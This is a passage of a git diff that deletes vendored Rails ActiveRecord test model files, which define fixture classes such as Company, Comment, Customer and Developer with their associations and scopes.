-  def self.what_are_you
-    'a special category...'
-  end
-
-end
diff --git a/vendor/rails/activerecord/test/models/citation.rb b/vendor/rails/activerecord/test/models/citation.rb
deleted file mode 100644
index 545aa811..00000000
--- a/vendor/rails/activerecord/test/models/citation.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-class Citation < ActiveRecord::Base
-  belongs_to :reference_of, :class_name => "Book", :foreign_key => :book2_id
-
-  belongs_to :book1, :class_name => "Book", :foreign_key => :book1_id
-  belongs_to :book2, :class_name => "Book", :foreign_key => :book2_id
-end
diff --git a/vendor/rails/activerecord/test/models/club.rb b/vendor/rails/activerecord/test/models/club.rb
deleted file mode 100644
index 6e7cdd64..00000000
--- a/vendor/rails/activerecord/test/models/club.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-class Club < ActiveRecord::Base
-  has_many :memberships
-  has_many :members, :through => :memberships
-  has_many :current_memberships
-  has_one :sponsor
-  has_one :sponsored_member, :through => :sponsor, :source => :sponsorable, :source_type => "Member"
-
-  private
-
-  def private_method
-    "I'm sorry sir, this is a *private* club, not a *pirate* club"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/column_name.rb b/vendor/rails/activerecord/test/models/column_name.rb
deleted file mode 100644
index ec07205a..00000000
--- a/vendor/rails/activerecord/test/models/column_name.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class ColumnName < ActiveRecord::Base
-  def self.table_name () "colnametests" end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/comment.rb b/vendor/rails/activerecord/test/models/comment.rb
deleted file mode 100644
index 399dea9f..00000000
--- a/vendor/rails/activerecord/test/models/comment.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-class Comment < ActiveRecord::Base
-  named_scope :containing_the_letter_e, :conditions => "comments.body LIKE '%e%'"
-  named_scope :for_first_post, :conditions => { :post_id => 1 }
-  named_scope :for_first_author,
-              :joins => :post,
-              :conditions => { "posts.author_id" => 1 }
-
-  belongs_to :post, :counter_cache => true
-
-  def self.what_are_you
-    'a comment...'
-  end
-
-  def self.search_by_type(q)
-    self.find(:all, :conditions => ["#{QUOTED_TYPE} = ?", q])
-  end
-end
-
-class SpecialComment < Comment
-  def self.what_are_you
-    'a special comment...'
-  end
-end
-
-class VerySpecialComment < Comment
-  def self.what_are_you
-    'a very special comment...'
-  end
-end
diff --git a/vendor/rails/activerecord/test/models/company.rb b/vendor/rails/activerecord/test/models/company.rb
deleted file mode 100644
index ced2faab..00000000
--- a/vendor/rails/activerecord/test/models/company.rb
+++ /dev/null
@@ -1,173 +0,0 @@
-class AbstractCompany < ActiveRecord::Base
-  self.abstract_class = true
-end
-
-class Company < AbstractCompany
-  attr_protected :rating
-  set_sequence_name :companies_nonstd_seq
-
-  validates_presence_of :name
-
-  has_one :dummy_account, :foreign_key => "firm_id", :class_name => "Account"
-  has_many :contracts
-  has_many :developers, :through => :contracts
-
-  named_scope :with_oft_in_name, :conditions => "name LIKE '%oft%'"
-
-  def arbitrary_method
-    "I am Jack's profound disappointment"
-  end
-
-  private
-
-  def private_method
-    "I am Jack's innermost fears and aspirations"
-  end
-end
-
-module Namespaced
-  class Company < ::Company
-  end
-
-  class Firm < ::Company
-    has_many :clients, :class_name => 'Namespaced::Client'
-  end
-
-  class Client < ::Company
-  end
-end
-
-class Firm < Company
-  has_many :clients, :order => "id", :dependent => :destroy, :counter_sql =>
-      "SELECT COUNT(*) FROM companies WHERE firm_id = 1 " +
-      "AND (#{QUOTED_TYPE} = 'Client' OR #{QUOTED_TYPE} = 'SpecialClient' OR #{QUOTED_TYPE} = 'VerySpecialClient' )"
-  has_many :unsorted_clients, :class_name => "Client"
-  has_many :clients_sorted_desc, :class_name => "Client", :order => "id DESC"
-  has_many :clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id"
-  has_many :unvalidated_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :validate => false
-  has_many :dependent_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :destroy
-  has_many :exclusively_dependent_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all
-  has_many :limited_clients, :class_name => "Client", :order => "id", :limit => 1
-  has_many :clients_like_ms, :conditions => "name = 'Microsoft'", :class_name => "Client", :order => "id"
-  has_many :clients_with_interpolated_conditions, :class_name => "Client", :conditions => 'rating > #{rating}'
-  has_many :clients_like_ms_with_hash_conditions, :conditions => { :name => 'Microsoft' }, :class_name => "Client", :order => "id"
-  has_many :clients_using_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE client_of = #{id}'
-  has_many :clients_using_counter_sql, :class_name => "Client",
-           :finder_sql  => 'SELECT * FROM companies WHERE client_of = #{id}',
-           :counter_sql => 'SELECT COUNT(*) FROM companies WHERE client_of = #{id}'
-  has_many :clients_using_zero_counter_sql, :class_name => "Client",
-           :finder_sql  => 'SELECT * FROM companies WHERE client_of = #{id}',
-           :counter_sql => 'SELECT 0 FROM companies WHERE client_of = #{id}'
-  has_many :no_clients_using_counter_sql, :class_name => "Client",
-           :finder_sql  => 'SELECT * FROM companies WHERE client_of = 1000',
-           :counter_sql => 'SELECT COUNT(*) FROM companies WHERE client_of = 1000'
-  has_many :clients_using_finder_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE 1=1'
-  has_many :plain_clients, :class_name => 'Client'
-  has_many :readonly_clients, :class_name => 'Client', :readonly => true
-  has_many :clients_using_primary_key, :class_name => 'Client',
-           :primary_key => 'name', :foreign_key => 'firm_name'
-  has_many :clients_using_primary_key_with_delete_all, :class_name => 'Client',
-           :primary_key => 'name', :foreign_key => 'firm_name', :dependent => :delete_all
-  has_many :clients_grouped_by_firm_id, :class_name => "Client", :group => "firm_id", :select => "firm_id"
-  has_many :clients_grouped_by_name, :class_name => "Client", :group => "name", :select => "name"
-
-  has_one :account, :foreign_key => "firm_id", :dependent => :destroy, :validate => true
-  has_one :unvalidated_account, :foreign_key => "firm_id", :class_name => 'Account', :validate => false
-  has_one :account_with_select, :foreign_key => "firm_id", :select => "id, firm_id", :class_name=>'Account'
-  has_one :readonly_account, :foreign_key => "firm_id", :class_name => "Account", :readonly => true
-  has_one :account_using_primary_key, :primary_key => "firm_id", :class_name => "Account"
-  has_one :account_using_foreign_and_primary_keys, :foreign_key => "firm_name", :primary_key => "name", :class_name => "Account"
-  has_one :deletable_account, :foreign_key => "firm_id", :class_name => "Account", :dependent => :delete
-  
-  has_one :account_limit_500_with_hash_conditions, :foreign_key => "firm_id", :class_name => "Account", :conditions => { :credit_limit => 500 }
-
-  has_one :unautosaved_account, :foreign_key => "firm_id", :class_name => 'Account', :autosave => false
-  has_many :accounts
-  has_many :unautosaved_accounts, :foreign_key => "firm_id", :class_name => 'Account', :autosave => false
-end
-
-class DependentFirm < Company
-  has_one :account, :foreign_key => "firm_id", :dependent => :nullify
-  has_many :companies, :foreign_key => 'client_of', :order => "id", :dependent => :nullify
-end
-
-class Client < Company
-  belongs_to :firm, :foreign_key => "client_of"
-  belongs_to :firm_with_basic_id, :class_name => "Firm", :foreign_key => "firm_id"
-  belongs_to :firm_with_select, :class_name => "Firm", :foreign_key => "firm_id", :select => "id"
-  belongs_to :firm_with_other_name, :class_name => "Firm", :foreign_key => "client_of"
-  belongs_to :firm_with_condition, :class_name => "Firm", :foreign_key => "client_of", :conditions => ["1 = ?", 1]
-  belongs_to :firm_with_primary_key, :class_name => "Firm", :primary_key => "name", :foreign_key => "firm_name"
-  belongs_to :readonly_firm, :class_name => "Firm", :foreign_key => "firm_id", :readonly => true
-
-  # Record destruction so we can test whether firm.clients.clear has
-  # is calling client.destroy, deleting from the database, or setting
-  # foreign keys to NULL.
-  def self.destroyed_client_ids
-    @destroyed_client_ids ||= Hash.new { |h,k| h[k] = [] }
-  end
-
-  before_destroy do |client|
-    if client.firm
-      Client.destroyed_client_ids[client.firm.id] << client.id
-    end
-    true
-  end
-
-  # Used to test that read and question methods are not generated for these attributes
-  def ruby_type
-    read_attribute :ruby_type
-  end
-
-  def rating?
-    query_attribute :rating
-  end
-
-  class << self
-    private
-
-    def private_method
-      "darkness"
-    end
-  end
-end
-
-class ExclusivelyDependentFirm < Company
-  has_one :account, :foreign_key => "firm_id", :dependent => :delete
-  has_many :dependent_sanitized_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => "name = 'BigShot Inc.'"
-  has_many :dependent_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => ["name = ?", 'BigShot Inc.']
-  has_many :dependent_hash_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => {:name => 'BigShot Inc.'}
-end
-
-class SpecialClient < Client
-end
-
-class VerySpecialClient < SpecialClient
-end
-
-class Account < ActiveRecord::Base
-  belongs_to :firm
-  belongs_to :unautosaved_firm, :foreign_key => "firm_id", :class_name => "Firm", :autosave => false
-
-  def self.destroyed_account_ids
-    @destroyed_account_ids ||= Hash.new { |h,k| h[k] = [] }
-  end
-
-  before_destroy do |account|
-    if account.firm
-      Account.destroyed_account_ids[account.firm.id] << account.id
-    end
-    true
-  end
-
-  protected
-    def validate
-      errors.add_on_empty "credit_limit"
-    end
-
-  private
-
-  def private_method
-    "Sir, yes sir!"
-  end
-end
diff --git a/vendor/rails/activerecord/test/models/company_in_module.rb b/vendor/rails/activerecord/test/models/company_in_module.rb
deleted file mode 100644
index 8cee5831..00000000
--- a/vendor/rails/activerecord/test/models/company_in_module.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-module MyApplication
-  module Business
-    class Company < ActiveRecord::Base
-      attr_protected :rating
-    end
-
-    class Firm < Company
-      has_many :clients, :order => "id", :dependent => :destroy
-      has_many :clients_sorted_desc, :class_name => "Client", :order => "id DESC"
-      has_many :clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id"
-      has_many :clients_like_ms, :conditions => "name = 'Microsoft'", :class_name => "Client", :order => "id"
-      has_many :clients_using_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE client_of = #{id}'
-
-      has_one :account, :class_name => 'MyApplication::Billing::Account', :dependent => :destroy
-    end
-
-    class Client < Company
-      belongs_to :firm, :foreign_key => "client_of"
-      belongs_to :firm_with_other_name, :class_name => "Firm", :foreign_key => "client_of"
-
-      class Contact < ActiveRecord::Base; end
-    end
-
-    class Developer < ActiveRecord::Base
-      has_and_belongs_to_many :projects
-      validates_length_of :name, :within => (3..20)
-    end
-
-    class Project < ActiveRecord::Base
-      has_and_belongs_to_many :developers
-    end
-
-    module Prefixed
-      def self.table_name_prefix
-        'prefixed_'
-      end
-
-      class Company < ActiveRecord::Base
-      end
-
-      class Firm < Company
-        self.table_name = 'companies'
-      end
-
-      module Nested
-        class Company < ActiveRecord::Base
-        end
-      end
-    end
-  end
-
-  module Billing
-    class Firm < ActiveRecord::Base
-      self.table_name = 'companies'
-    end
-
-    module Nested
-      class Firm < ActiveRecord::Base
-        self.table_name = 'companies'
-      end
-    end
-
-    class Account < ActiveRecord::Base
-      with_options(:foreign_key => :firm_id) do |i|
-        i.belongs_to :firm, :class_name => 'MyApplication::Business::Firm'
-        i.belongs_to :qualified_billing_firm, :class_name => 'MyApplication::Billing::Firm'
-        i.belongs_to :unqualified_billing_firm, :class_name => 'Firm'
-        i.belongs_to :nested_qualified_billing_firm, :class_name => 'MyApplication::Billing::Nested::Firm'
-        i.belongs_to :nested_unqualified_billing_firm, :class_name => 'Nested::Firm'
-      end
-
-      protected
-        def validate
-          errors.add_on_empty "credit_limit"
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/models/computer.rb b/vendor/rails/activerecord/test/models/computer.rb
deleted file mode 100644
index cc8deb1b..00000000
--- a/vendor/rails/activerecord/test/models/computer.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Computer < ActiveRecord::Base
-  belongs_to :developer, :foreign_key=>'developer'
-end
diff --git a/vendor/rails/activerecord/test/models/contact.rb b/vendor/rails/activerecord/test/models/contact.rb
deleted file mode 100644
index dbfa57bf..00000000
--- a/vendor/rails/activerecord/test/models/contact.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-class Contact < ActiveRecord::Base
-  # mock out self.columns so no pesky db is needed for these tests
-  def self.column(name, sql_type = nil, options = {})
-    @columns ||= []
-    @columns << ActiveRecord::ConnectionAdapters::Column.new(name.to_s, options[:default], sql_type.to_s, options[:null])
-  end
-
-  column :name,        :string
-  column :age,         :integer
-  column :avatar,      :binary
-  column :created_at,  :datetime
-  column :awesome,     :boolean
-  column :preferences, :string
-
-  serialize :preferences
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/contract.rb b/vendor/rails/activerecord/test/models/contract.rb
deleted file mode 100644
index 5235bfa3..00000000
--- a/vendor/rails/activerecord/test/models/contract.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class Contract < ActiveRecord::Base
-  belongs_to :company
-  belongs_to :developer
-end
-
diff --git a/vendor/rails/activerecord/test/models/course.rb b/vendor/rails/activerecord/test/models/course.rb
deleted file mode 100644
index 8a40fa74..00000000
--- a/vendor/rails/activerecord/test/models/course.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Course < ActiveRecord::Base
-  has_many :entrants
-end
diff --git a/vendor/rails/activerecord/test/models/customer.rb b/vendor/rails/activerecord/test/models/customer.rb
deleted file mode 100644
index e258ccdb..00000000
--- a/vendor/rails/activerecord/test/models/customer.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-class Customer < ActiveRecord::Base
-  composed_of :address, :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ], :allow_nil => true
-  composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| balance.to_money }
-  composed_of :gps_location, :allow_nil => true
-  composed_of :fullname, :mapping => %w(name to_s), :constructor => Proc.new { |name| Fullname.parse(name) }, :converter => :parse
-end
-
-class Address
-  attr_reader :street, :city, :country
-
-  def initialize(street, city, country)
-    @street, @city, @country = street, city, country
-  end
-
-  def close_to?(other_address)
-    city == other_address.city && country == other_address.country
-  end
-
-  def ==(other)
-    other.is_a?(self.class) && other.street == street && other.city == city && other.country == country
-  end
-end
-
-class Money
-  attr_reader :amount, :currency
-
-  EXCHANGE_RATES = { "USD_TO_DKK" => 6, "DKK_TO_USD" => 0.6 }
-
-  def initialize(amount, currency = "USD")
-    @amount, @currency = amount, currency
-  end
-
-  def exchange_to(other_currency)
-    Money.new((amount * EXCHANGE_RATES["#{currency}_TO_#{other_currency}"]).floor, other_currency)
-  end
-end
-
-class GpsLocation
-  attr_reader :gps_location
-
-  def initialize(gps_location)
-    @gps_location = gps_location
-  end
-
-  def latitude
-    gps_location.split("x").first
-  end
-
-  def longitude
-    gps_location.split("x").last
-  end
-
-  def ==(other)
-    self.latitude == other.latitude && self.longitude == other.longitude
-  end
-end
-
-class Fullname
-  attr_reader :first, :last
-
-  def self.parse(str)
-    return nil unless str
-    new(*str.to_s.split)
-  end
-
-  def initialize(first, last = nil)
-    @first, @last = first, last
-  end
-
-  def to_s
-    "#{first} #{last.upcase}"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/default.rb b/vendor/rails/activerecord/test/models/default.rb
deleted file mode 100644
index 887e9cc9..00000000
--- a/vendor/rails/activerecord/test/models/default.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class Default < ActiveRecord::Base
-end
diff --git a/vendor/rails/activerecord/test/models/developer.rb b/vendor/rails/activerecord/test/models/developer.rb
deleted file mode 100644
index 05897033..00000000
--- a/vendor/rails/activerecord/test/models/developer.rb
+++ /dev/null
@@ -1,101 +0,0 @@
-module DeveloperProjectsAssociationExtension
-  def find_most_recent
-    find(:first, :order => "id DESC")
-  end
-end
-
-module DeveloperProjectsAssociationExtension2
-  def find_least_recent
-    find(:first, :order => "id ASC")
-  end
-end
-
-class Developer < ActiveRecord::Base
-  has_and_belongs_to_many :projects do
-    def find_most_recent
-      find(:first, :order => "id DESC")
-    end
-  end
-
-  has_and_belongs_to_many :projects_extended_by_name,
-      :class_name => "Project",
-      :join_table => "developers_projects",
-      :association_foreign_key => "project_id",
-      :extend => DeveloperProjectsAssociationExtension
-
-  has_and_belongs_to_many :projects_extended_by_name_twice,
-      :class_name => "Project",
-      :join_table => "developers_projects",
-      :association_foreign_key => "project_id",
-      :extend => [DeveloperProjectsAssociationExtension, DeveloperProjectsAssociationExtension2]
-
-  has_and_belongs_to_many :projects_extended_by_name_and_block,
-      :class_name => "Project",
-      :join_table => "developers_projects",
-      :association_foreign_key => "project_id",
-      :extend => DeveloperProjectsAssociationExtension do
-        def find_least_recent
-          find(:first, :order => "id ASC")
-        end
-      end
-
-  has_and_belongs_to_many :special_projects, :join_table => 'developers_projects', :association_foreign_key => 'project_id'
-
-  has_many :audit_logs
-
-  named_scope :jamises, :conditions => {:name => 'Jamis'}
-
-  validates_inclusion_of :salary, :in => 50000..200000
-  validates_length_of    :name, :within => 3..20
-
-  before_create do |developer|
-    developer.audit_logs.build :message => "Computer created"
-  end
-
-  def log=(message)
-    audit_logs.build :message => message
-  end
-end
-
-class AuditLog < ActiveRecord::Base
-  belongs_to :developer, :validate => true
-  belongs_to :unvalidated_developer, :class_name => 'Developer'
-end
-
-DeveloperSalary = Struct.new(:amount)
-class DeveloperWithAggregate < ActiveRecord::Base
-  self.table_name = 'developers'
-  composed_of :salary, :class_name => 'DeveloperSalary', :mapping => [%w(salary amount)]
-end
-
-class DeveloperWithBeforeDestroyRaise < ActiveRecord::Base
-  self.table_name = 'developers'
-  has_and_belongs_to_many :projects, :join_table => 'developers_projects', :foreign_key => 'developer_id'
-  before_destroy :raise_if_projects_empty!
-
-  def raise_if_projects_empty!
-    raise if projects.empty?
-  end
-end
-
-class DeveloperOrderedBySalary < ActiveRecord::Base
-  self.table_name = 'developers'
-  default_scope :order => 'salary DESC'
-  named_scope :by_name, :order => 'name DESC'
-
-  def self.all_ordered_by_name
-    with_scope(:find => { :order => 'name DESC' }) do
-      find(:all)
-    end
-  end
-end
-
-class DeveloperCalledDavid < ActiveRecord::Base
-  self.table_name = 'developers'
-  default_scope :conditions => "name = 'David'"
-end
-
-class DeveloperCalledJamis < ActiveRecord::Base
-  self.table_name = 'developers'
-  default_scope :conditions => { :name => 'Jamis' }
-end
diff --git a/vendor/rails/activerecord/test/models/edge.rb b/vendor/rails/activerecord/test/models/edge.rb
deleted file mode 100644
index 55e0c31f..00000000
--- a/vendor/rails/activerecord/test/models/edge.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# This class models an edge in a directed graph.
-class Edge < ActiveRecord::Base
-  belongs_to :source, :class_name => 'Vertex', :foreign_key => 'source_id'
-  belongs_to :sink,   :class_name => 'Vertex', :foreign_key => 'sink_id'
-end
diff --git a/vendor/rails/activerecord/test/models/entrant.rb b/vendor/rails/activerecord/test/models/entrant.rb
deleted file mode 100644
index 4682ce48..00000000
--- a/vendor/rails/activerecord/test/models/entrant.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Entrant < ActiveRecord::Base
-  belongs_to :course
-end
diff --git a/vendor/rails/activerecord/test/models/essay.rb b/vendor/rails/activerecord/test/models/essay.rb
deleted file mode 100644
index 6c28f5e4..00000000
--- a/vendor/rails/activerecord/test/models/essay.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Essay < ActiveRecord::Base
-  belongs_to :writer, :primary_key => :name, :polymorphic => true
-end
diff --git a/vendor/rails/activerecord/test/models/event.rb b/vendor/rails/activerecord/test/models/event.rb
deleted file mode 100644
index 99fa0fee..00000000
--- a/vendor/rails/activerecord/test/models/event.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Event < ActiveRecord::Base
-  validates_uniqueness_of :title
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/event_author.rb b/vendor/rails/activerecord/test/models/event_author.rb
deleted file mode 100644
index 560f0f9d..00000000
--- a/vendor/rails/activerecord/test/models/event_author.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'models/author'
-require 'models/event'
-
-class EventAuthor < ActiveRecord::Base
-  belongs_to :author
-  belongs_to :event
-end
-
diff --git a/vendor/rails/activerecord/test/models/face.rb b/vendor/rails/activerecord/test/models/face.rb
deleted file mode 100644
index edb75d33..00000000
--- a/vendor/rails/activerecord/test/models/face.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Face < ActiveRecord::Base
-  belongs_to :man, :inverse_of => :face
-  belongs_to :polymorphic_man, :polymorphic => true, :inverse_of => :polymorphic_face
-  # These is a "broken" inverse_of for the purposes of testing
-  belongs_to :horrible_man, :class_name => 'Man', :inverse_of => :horrible_face
-  belongs_to :horrible_polymorphic_man, :polymorphic => true, :inverse_of => :horrible_polymorphic_face
-end
diff --git a/vendor/rails/activerecord/test/models/guid.rb b/vendor/rails/activerecord/test/models/guid.rb
deleted file mode 100644
index 9208dc28..00000000
--- a/vendor/rails/activerecord/test/models/guid.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class Guid < ActiveRecord::Base
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/interest.rb b/vendor/rails/activerecord/test/models/interest.rb
deleted file mode 100644
index d5d92262..00000000
--- a/vendor/rails/activerecord/test/models/interest.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class Interest < ActiveRecord::Base
-  belongs_to :man, :inverse_of => :interests
-  belongs_to :polymorphic_man, :polymorphic => true, :inverse_of => :polymorphic_interests
-  belongs_to :zine, :inverse_of => :interests
-end
diff --git a/vendor/rails/activerecord/test/models/invoice.rb b/vendor/rails/activerecord/test/models/invoice.rb
deleted file mode 100644
index fc6ef023..00000000
--- a/vendor/rails/activerecord/test/models/invoice.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Invoice < ActiveRecord::Base
-  has_many :line_items, :autosave => true
-  before_save {|record| record.balance = record.line_items.map(&:amount).sum }
-end
diff --git a/vendor/rails/activerecord/test/models/item.rb b/vendor/rails/activerecord/test/models/item.rb
deleted file mode 100644
index c2571dd7..00000000
--- a/vendor/rails/activerecord/test/models/item.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class AbstractItem < ActiveRecord::Base
-  self.abstract_class = true
-  has_one :tagging, :as => :taggable
-end
-
-class Item < AbstractItem
-end
diff --git a/vendor/rails/activerecord/test/models/job.rb b/vendor/rails/activerecord/test/models/job.rb
deleted file mode 100644
index 3333a02e..00000000
--- a/vendor/rails/activerecord/test/models/job.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class Job < ActiveRecord::Base
-  has_many :references
-  has_many :people, :through => :references
-  belongs_to :ideal_reference, :class_name => 'Reference'
-end
diff --git a/vendor/rails/activerecord/test/models/joke.rb b/vendor/rails/activerecord/test/models/joke.rb
deleted file mode 100644
index 3978abc2..00000000
--- a/vendor/rails/activerecord/test/models/joke.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Joke < ActiveRecord::Base
-  set_table_name 'funny_jokes'
-end
diff --git a/vendor/rails/activerecord/test/models/keyboard.rb b/vendor/rails/activerecord/test/models/keyboard.rb
deleted file mode 100644
index 32a4a7fa..00000000
--- a/vendor/rails/activerecord/test/models/keyboard.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Keyboard < ActiveRecord::Base
-  set_primary_key 'key_number'
-end
diff --git a/vendor/rails/activerecord/test/models/legacy_thing.rb b/vendor/rails/activerecord/test/models/legacy_thing.rb
deleted file mode 100644
index eaeb642d..00000000
--- a/vendor/rails/activerecord/test/models/legacy_thing.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class LegacyThing < ActiveRecord::Base
-  set_locking_column :version
-end
diff --git a/vendor/rails/activerecord/test/models/line_item.rb b/vendor/rails/activerecord/test/models/line_item.rb
deleted file mode 100644
index 0dd921a3..00000000
--- a/vendor/rails/activerecord/test/models/line_item.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class LineItem < ActiveRecord::Base
-  belongs_to :invoice, :touch => true
-end
diff --git a/vendor/rails/activerecord/test/models/man.rb b/vendor/rails/activerecord/test/models/man.rb
deleted file mode 100644
index 4bff92dc..00000000
--- a/vendor/rails/activerecord/test/models/man.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class Man < ActiveRecord::Base
-  has_one :face, :inverse_of => :man
-  has_one :polymorphic_face, :class_name => 'Face', :as => :polymorphic_man, :inverse_of => :polymorphic_man
-  has_many :interests, :inverse_of => :man
-  has_many :polymorphic_interests, :class_name => 'Interest', :as => :polymorphic_man, :inverse_of => :polymorphic_man
-  # These are "broken" inverse_of associations for the purposes of testing
-  has_one :dirty_face, :class_name => 'Face', :inverse_of => :dirty_man
-  has_many :secret_interests, :class_name => 'Interest', :inverse_of => :secret_man
-end
diff --git a/vendor/rails/activerecord/test/models/matey.rb b/vendor/rails/activerecord/test/models/matey.rb
deleted file mode 100644
index 47b0baa9..00000000
--- a/vendor/rails/activerecord/test/models/matey.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Matey < ActiveRecord::Base
-  belongs_to :pirate
-  belongs_to :target, :class_name => 'Pirate'
-end
diff --git a/vendor/rails/activerecord/test/models/member.rb b/vendor/rails/activerecord/test/models/member.rb
deleted file mode 100644
index 255fb569..00000000
--- a/vendor/rails/activerecord/test/models/member.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class Member < ActiveRecord::Base
-  has_one :current_membership
-  has_many :memberships
-  has_many :fellow_members, :through => :club, :source => :members
-  has_one :club, :through => :current_membership
-  has_one :favourite_club, :through => :memberships, :conditions => ["memberships.favourite = ?", true], :source => :club
-  has_one :sponsor, :as => :sponsorable
-  has_one :sponsor_club, :through => :sponsor
-  has_one :member_detail
-  has_one :organization, :through => :member_detail
-  belongs_to :member_type
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/member_detail.rb b/vendor/rails/activerecord/test/models/member_detail.rb
deleted file mode 100644
index 94f59e57..00000000
--- a/vendor/rails/activerecord/test/models/member_detail.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class MemberDetail < ActiveRecord::Base
-  belongs_to :member
-  belongs_to :organization
-  has_one :member_type, :through => :member
-end
diff --git a/vendor/rails/activerecord/test/models/member_type.rb b/vendor/rails/activerecord/test/models/member_type.rb
deleted file mode 100644
index a13561c7..00000000
--- a/vendor/rails/activerecord/test/models/member_type.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class MemberType < ActiveRecord::Base
-  has_many :members
-end
diff --git a/vendor/rails/activerecord/test/models/membership.rb b/vendor/rails/activerecord/test/models/membership.rb
deleted file mode 100644
index 905f948c..00000000
--- a/vendor/rails/activerecord/test/models/membership.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class Membership < ActiveRecord::Base
-  belongs_to :member
-  belongs_to :club
-end
-
-class CurrentMembership < Membership
-  belongs_to :member
-  belongs_to :club
-end
diff --git a/vendor/rails/activerecord/test/models/minimalistic.rb b/vendor/rails/activerecord/test/models/minimalistic.rb
deleted file mode 100644
index 2e3f8e08..00000000
--- a/vendor/rails/activerecord/test/models/minimalistic.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class Minimalistic < ActiveRecord::Base
-end
diff --git a/vendor/rails/activerecord/test/models/mixed_case_monkey.rb b/vendor/rails/activerecord/test/models/mixed_case_monkey.rb
deleted file mode 100644
index 853f2682..00000000
--- a/vendor/rails/activerecord/test/models/mixed_case_monkey.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class MixedCaseMonkey < ActiveRecord::Base
-  set_primary_key 'monkeyID'
-end
diff --git a/vendor/rails/activerecord/test/models/movie.rb b/vendor/rails/activerecord/test/models/movie.rb
deleted file mode 100644
index 6384b4c8..00000000
--- a/vendor/rails/activerecord/test/models/movie.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class Movie < ActiveRecord::Base
-  def self.primary_key
-    "movieid"
-  end
-end
diff --git a/vendor/rails/activerecord/test/models/order.rb b/vendor/rails/activerecord/test/models/order.rb
deleted file mode 100644
index e838c0b7..00000000
--- a/vendor/rails/activerecord/test/models/order.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Order < ActiveRecord::Base
-  belongs_to :billing, :class_name => 'Customer', :foreign_key => 'billing_customer_id'
-  belongs_to :shipping, :class_name => 'Customer', :foreign_key => 'shipping_customer_id'
-end
diff --git a/vendor/rails/activerecord/test/models/organization.rb b/vendor/rails/activerecord/test/models/organization.rb
deleted file mode 100644
index c8572616..00000000
--- a/vendor/rails/activerecord/test/models/organization.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-class Organization < ActiveRecord::Base
-  has_many :member_details
-  has_many :members, :through => :member_details
-
-  named_scope :clubs, { :from => 'clubs' }
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/owner.rb b/vendor/rails/activerecord/test/models/owner.rb
deleted file mode 100644
index 5760b991..00000000
--- a/vendor/rails/activerecord/test/models/owner.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class Owner < ActiveRecord::Base
-  set_primary_key :owner_id
-  has_many :pets
-  has_many :toys, :through => :pets
-end
diff --git a/vendor/rails/activerecord/test/models/parrot.rb b/vendor/rails/activerecord/test/models/parrot.rb
deleted file mode 100644
index 737ef913..00000000
--- a/vendor/rails/activerecord/test/models/parrot.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-class Parrot < ActiveRecord::Base
-  set_inheritance_column :parrot_sti_class
-  has_and_belongs_to_many :pirates
-  has_and_belongs_to_many :treasures
-  has_many :loots, :as => :looter
-  alias_attribute :title, :name
-
-  validates_presence_of :name
-
